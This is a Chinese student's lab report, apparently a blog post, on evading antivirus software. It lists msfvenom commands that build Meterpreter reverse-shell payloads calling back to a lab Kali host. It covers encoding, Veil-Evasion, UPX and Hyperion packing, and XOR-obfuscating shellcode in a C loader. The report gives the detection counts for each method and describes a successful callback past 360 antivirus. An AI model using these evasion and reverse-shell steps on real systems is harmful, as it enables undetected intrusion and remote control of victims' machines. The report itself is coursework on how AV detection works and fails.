• 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211


    2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 20165211


    1. 基础问题回答

    (1)杀软是如何检测出恶意代码的?

    1. 基于特征码检测

      简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。

      重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。

    2. 启发式恶意软件检测

      简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

      优点:

      • 可以检测0-day恶意软件
      • 具有一定通用性

      缺点:

      • 实时监控系统行为,开销稍多
      • 没有基于特征码的精确度高
    3. 基于行为的恶意软件检测

      最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

    (2)免杀是做什么?

    免杀就是让安插的后门不被AV软件发现。

    (3)免杀的基本方法有哪些?

    • 改变特征码

      • 只有EXE
        • 加壳:压缩壳 加密壳
      • 有shellcode
        • 用encode进行编码
        • 基于payload重新编译生成可执行文件
      • 有源代码
        • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为

      • 通讯方式
        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式
        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 非常规方法

      • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
      • 使用社工类攻击,诱骗目标关闭AV软件。
      • 纯手工打造一个恶意软件

    2. 实践过程记录

    本次实验主要使用的检测工具

    Virscan

    VirusTotal

    1.正确使用msf编码器

    kali的ip地址:192.168.78.128

    使用命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.78.128 LPORT=5211 -f exe > akashi1.exe
    

    生成最基本的可执行文件

    将文件上传至Virscan:结果为29/49

    上传至VirusTotal :结果为51/71

    使用命令

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=xxx LPORT=xxx -f exe > met-encoded10.exe
    

    进行多次编码,并检验结果,如下

    将文件上传至Virscan:结果为27/49

    上传至VirusTotal :结果为50/70

    由上可见,进行多次编码的方式并不能达到免杀的目的。

    2. msfvenom生成如jar之类的其他文件

    (1) 生成jar文件

    使用命令

    msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_jar.jar
    

    将文件上传至Virscan:结果为6/49

    上传至VirusTotal :结果为34/60

    将此文件放到主机(win10+Windows Defender+电脑管家)无报毒。

    (2)生成php文件

    使用命令

    msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.78.129 lport=5211 x> akashi_php.php
    

    将文件上传至Virscan:结果为1/49

    上传至VirusTotal :结果为3/58

    将此文件放到主机(win10+Windows Defender+电脑管家)无报毒。

    (3)生成Python文件

    使用命令

    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.78.129 LPORT=5211 -f raw > akashi_python.py
    

    将文件上传至Virscan:结果为5/49

    上传至VirusTotal :结果为14/55

    3. veil-evasion

    1. 使用veil生成木马程序

      期间需要选择Payload Module,并设置LHOST和LPORT

    1. 生成文件后,到目标目录寻找文件。

    1. 将文件上传至Virscan:结果为14/49

    1. 上传至VirusTotal :结果为37/68

    1. 放到电脑中,被电脑管家查杀……

    4. 加壳工具

    对我们刚刚生成的软件进行加壳处理吧

    压缩壳UPX

    1. 对刚刚的Akashi_Veil.exe用UPX加壳,生成Akashi_Veil_UPX.exe

    1. 将文件上传至Virscan:结果为17/49

    1. 上传至VirusTotal :结果为37/70

    加密壳Hyperion

    1. 如下所示,进入指定目录后进行操作

    1. 将文件上传至Virscan:结果为21/49

    1. 上传至VirusTotal :结果为44/68

    总的来说,使用加壳软件,似乎并不能得到很好地免杀效果。这些加壳软件中包含的特征信息,有时候反而会增加杀毒软件识别的可能性。

    5. 使用shellcode编程

    1. 使用命令
    msfvenom -p windows/meterpreter/reverse_http LHOST=192.168.78.129 LPORT=5211 -f c
    

    生成一个shellcode。

    1. 创建文件Akashi_Shellcode.c,将第一步得到的shellcode编入其中

      我所看的资料要求使用i686-w64-mingw32-g++ Akashi_Shellcode.c -o Akashi_Shellcode.exe编译,可生成可执行文件。命令也可执行,但是在尝试回连时一直显示失败????(令人头秃了………………要一个回连不了的文件有何用啊???

    尝试将文件放在主机环境中编译,用CB编译后运行……查看结果,OK~可以!

    1. 将文件上传至Virscan:结果为9/49

    1. 将文件上传至VirusTotal :结果为23/68

    1. 却发现,我的电脑管家对他毫无反应,似乎已经实现了腾讯电脑管家的免杀??是电脑管家太废了吧……

    看了一下VirusTotal 的结果,果然……Tencent显示clean……认真考虑要不要换一个杀毒软件……

    6. 通过组合应用各种技术实现恶意代码免杀

    第五步莫名其妙实现了自己电脑的免杀……尝试一下降低Virscan和VirusTotal扫描出来的数量吧

    1. 尝试加壳

    1. 将文件上传至Virscan:结果为13/49

    1. 将文件上传至VirusTotal :结果为26/68

    1. 主机电脑管家未查杀

    ​ 就结果而言,反而是增加了,大概是加了壳之后,反而给了更多的特征吧,让杀软更容易检测出来。

    2. 尝试对shellcode进行简单处理

    1. 这里想到的方法,有对Shellcode进行异或处理,或是对其进行加密后解密

    2. 主要尝试异或处理,将Shellcode与一固定字符串进行异或后存储,在程序中在进行一次异或,即可还原。

    3. 查看结果,将文件上传至Virscan:结果为6/49

    1. 将文件上传至VirusTotal :结果为20/70

    1. 可以看到这样的效果的确是有所改善的啦,回连也是成功的!

    1. 按这个思路,再对文件进行一些操作,应该是可以得到更好的结果的。

    7. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    Kali使用桥接模式,并在使用前测试与目标主机能否ping通。

    以下是回连成功的截图。

    电脑版本为 win7+360杀毒软件


    3. 实践总结与体会

    在本次实验中,主要探索了免杀的实现。

    实验的主要曲折,应该就是安装Veil了,中途经历了各种问题,大概是之前安装kali的过程过于顺利,感觉这一次把所有可能的棘手问题都碰到了。虚拟机网络连接有问题,虚拟网络适配器被删除,kali源连接不上,找不到命令。前后倒腾,甚至差点要重新安装一遍VMware。

    在进行实验的时候,竟然发现在实验未完成的情况下,竟然已经完成了免杀。郑重的考虑换一个杀毒软件。

    发现实现一个免杀的恶意代码,并没有想象中那么难,在网络安全方面还是有很多需要注意的地方啊。


    4. 开启杀软能绝对防止电脑中恶意代码吗?

    并不能,在本次实验中,我们主要要实现的就是在杀软开启的情况下,实现恶意代码,掌握主机的控制权。在本次试验中,仅仅靠shellcode半手工竟然就可以实现腾讯的免杀,更不用提更多进过黑客们精心构造的恶意代码。目前杀软的主要检测方式,主要还是基于特征码,依赖于他们的数据库源,面对一些新的恶意代码,防护的能力还是很差的。

  • 相关阅读:
    C++初始化列表
    正确理解Widget::Widget(QWidget *parent) :QWidget(parent)这句话
    C++ 的关键字(保留字)完整介绍
    Qt之UI文件设计和运行机制
    QT 5.12安装
    Win2016 安装VM与Hyper-V冲突解决办法
    多线程与并行
    Framework使用
    MVVMLight
    Knockout 应用
  • 原文地址:https://www.cnblogs.com/akashi/p/10629464.html
Copyright © 2020-2023  润新知